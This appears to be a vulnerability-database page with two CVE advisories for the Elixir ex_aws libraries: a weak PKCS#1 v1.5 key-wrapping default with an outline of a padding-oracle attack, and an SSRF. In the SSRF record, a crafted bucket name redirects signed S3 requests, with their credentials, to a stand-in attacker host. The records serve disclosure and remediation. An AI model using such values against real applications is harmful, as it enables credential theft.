| https://osv.dev/vulnerability/EEF-CVE-2026-62271 | related |
| https://github.com/ex-aws/ex_aws_kms/commit/b6663… | related |
| https://github.com/ex-aws/ex_aws_kms/commit/2d7f3… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_kms |
Affected:
2.1.0 , < 2.7.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_kms |
Affected:
b66631f206ec207ab7016c0c4d9f1ec898b56e85 , < 2d7f308da3cf75ab0385c0aebdc84ce65f6754f7
(git)
cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 12:22
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.KMS\u0027"
],
"packageName": "ex_aws_kms",
"packageURL": "pkg:hex/ex_aws_kms",
"product": "ex_aws_kms",
"programFiles": [
"lib/ex_aws/kms.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_kms",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.7.0",
"status": "affected",
"version": "2.1.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.KMS\u0027"
],
"packageName": "ex-aws/ex_aws_kms",
"packageURL": "pkg:github/ex-aws/ex_aws_kms",
"product": "ex_aws_kms",
"programFiles": [
"lib/ex_aws/kms.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_kms",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2d7f308da3cf75ab0385c0aebdc84ce65f6754f7",
"status": "affected",
"version": "b66631f206ec207ab7016c0c4d9f1ec898b56e85",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.7.0",
"versionStartIncluding": "2.1.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T12:22:04.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUse of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (\u003ccode\u003eExAws.KMS\u003c/code\u003e module) causes callers who import external key material to wrap their secret KMS key material with the deprecated \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 padding scheme by default.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e and program routine \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS returns this value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e. AWS KMS also supports the stronger \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e schemes. By defaulting to \u003ccode\u003eRSAES_PKCS1_V1_5\u003c/code\u003e, the library steers callers who do not explicitly override the argument toward the weakest of the three. \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the wrapping algorithm.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (`ExAws.KMS` module) causes callers who import external key material to wrap their secret KMS key material with the deprecated `PKCS#1` v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file `lib/ex_aws/kms.ex` and program routine `ExAws.KMS.get_parameters_for_import/3`.\n\n`ExAws.KMS.get_parameters_for_import/3` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS returns this value as the `WrappingAlgorithm` for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling `ImportKeyMaterial`. AWS KMS also supports the stronger `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256` schemes. By defaulting to `RSAES_PKCS1_V1_5`, the library steers callers who do not explicitly override the argument toward the weakest of the three. `PKCS#1` v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the wrapping algorithm.\n\nThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0."
}
],
"value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3.\n\nExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping algorithm.\n\nThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0."
}
],
"impacts": [
{
"capecId": "CAPEC-463",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is a cryptographic weak-default issue affecting anyone who uses \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is a cryptographic weak-default issue affecting anyone who uses `ExAws.KMS.get_parameters_for_import/3` to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
}
],
"value": "This is a cryptographic weak-default issue affecting anyone who uses ExAws.KMS.get_parameters_for_import/3 to import external key material and relies on the default wrapping algorithm. Such callers wrap sensitive KMS key material with deprecated PKCS#1 v1.5 padding rather than OAEP. Real-world exploitation requires a padding oracle against the RSA decryption, and the KMS-side unwrap does not expose one, so the concrete risk is a defense-in-depth weakness rather than a directly reachable attack."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-780",
"description": "CWE-780 Use of RSA Algorithm without OAEP",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:22:05.337Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_kms/security/advisories/GHSA-wq7g-9pm7-5crv"
},
{
"name": "EEF CNA record for CVE-2026-62271",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62271.html"
},
{
"name": "OSV record EEF-CVE-2026-62271",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62271"
},
{
"name": "Introducing commit b66631f in ex-aws/ex_aws_kms",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_kms/commit/b66631f206ec207ab7016c0c4d9f1ec898b56e85"
},
{
"name": "Fix commit 2d7f308 in ex-aws/ex_aws_kms",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_kms/commit/2d7f308da3cf75ab0385c0aebdc84ce65f6754f7"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eExplicitly pass \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Explicitly pass `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the `wrapping_algorithm` argument to `ExAws.KMS.get_parameters_for_import/3` instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
}
],
"value": "Explicitly pass \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping_algorithm argument to ExAws.KMS.get_parameters_for_import/3 instead of relying on the default, and wrap the key material with the corresponding OAEP padding scheme."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eCall \u003ccode\u003eExAws.KMS.get_parameters_for_import(\"alias/import-target\")\u003c/code\u003e without a wrapping algorithm and read \u003ccode\u003eop.data[\"WrappingAlgorithm\"]\u003c/code\u003e: it is \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eWrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\u003c/li\u003e\n\u003cli\u003eGive the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\u003c/li\u003e\n\u003cli\u003eRun the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by \u003ccode\u003es^e mod n\u003c/code\u003e, query the oracle, and narrow the interval containing the plaintext until it converges.\u003c/li\u003e\n\u003cli\u003eThe recovered plaintext equals the wrapped key material, obtained without the private key.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Call `ExAws.KMS.get_parameters_for_import(\"alias/import-target\")` without a wrapping algorithm and read `op.data[\"WrappingAlgorithm\"]`: it is `\"RSAES_PKCS1_V1_5\"`.\n2. Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n3. Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n4. Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by `s^e mod n`, query the oracle, and narrow the interval containing the plaintext until it converges.\n5. The recovered plaintext equals the wrapped key material, obtained without the private key."
}
],
"value": "* Call ExAws.KMS.get_parameters_for_import(\"alias/import-target\") without a wrapping algorithm and read op.data[\"WrappingAlgorithm\"]: it is \"RSAES_PKCS1_V1_5\".\n* Wrap 32 bytes of secret key material with PKCS#1 v1.5 type-2 padding under an RSA public key, producing the ciphertext the attacker observes.\n* Give the attacker the public key, the ciphertext and a boolean oracle that reports whether a decrypted value is validly v1.5-padded.\n* Run the Bleichenbacher \u002798 attack: repeatedly multiply the ciphertext by s^e mod n, query the oracle, and narrow the interval containing the plaintext until it converges.\n* The recovered plaintext equals the wrapped key material, obtained without the private key."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Weak default.\u003c/strong\u003e \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS also offers \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e, so callers who do not pass the argument get the weakest of the three.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Wrapping with that scheme.\u003c/strong\u003e KMS returns the requested value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Exposure.\u003c/strong\u003e PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Weak default.** `ExAws.KMS.get_parameters_for_import/3` in `lib/ex_aws/kms.ex` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS also offers `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256`, so callers who do not pass the argument get the weakest of the three.\n\n**2. Wrapping with that scheme.** KMS returns the requested value as the `WrappingAlgorithm` of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling `ImportKeyMaterial`.\n\n**3. Exposure.** PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
}
],
"value": "1. Weak default. ExAws.KMS.get_parameters_for_import/3 in lib/ex_aws/kms.ex defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS also offers RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256, so callers who do not pass the argument get the weakest of the three.\n\n2. Wrapping with that scheme. KMS returns the requested value as the WrappingAlgorithm of the import operation, and it dictates the RSA padding the caller uses to encrypt their secret key material under the KMS-provided public key before calling ImportKeyMaterial.\n\n3. Exposure. PKCS#1 v1.5 encryption padding is vulnerable to Bleichenbacher adaptive chosen-ciphertext attacks: an adversary who holds the wrapped ciphertext and can query a padding oracle (anything that reveals whether a decrypted value was validly v1.5-padded) recovers the plaintext without the private key. OAEP is not susceptible. The unwrap happens inside AWS KMS, which does not expose such an oracle, so this is a defense-in-depth weakness."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62271",
"datePublished": "2026-11-24T12:22:05.337Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T12:22:05.337Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-120720 (GCVE-0-2026-120720)
Vulnerability from cvelistv5 – Published: 2026-11-24 12:17 – Updated: 2026-11-24 12:17
VLAI
EPSS
VEX
Title
S3 bucket name controls the request host in ex_aws virtual-host requests
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-120720.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-120720 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/a878943be… | patch |
Impacted products
Date Public
2026-11-24 12:17
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "a878943be6def16ffbee6bb9e11d90db1dc904f8",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the S3 client is configured with \u003ccode\u003evirtual_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"value": "Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T12:04:08.000Z",
"datePublic": "2026-11-24T12:17:33.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the request URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/key\u003c/code\u003e, so the request is signed for and sent to \u003ccode\u003eattacker.example\u003c/code\u003e. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e the bucket is the whole hostname, so any valid hostname redirects the request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:17:35.415Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"
},
{
"name": "EEF CNA record for CVE-2026-120720",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-120720.html"
},
{
"name": "OSV record EEF-CVE-2026-120720",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-120720"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit a878943 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the request host. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e must also set the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e S3 config option to the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the request host in ex_aws virtual-host requests",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
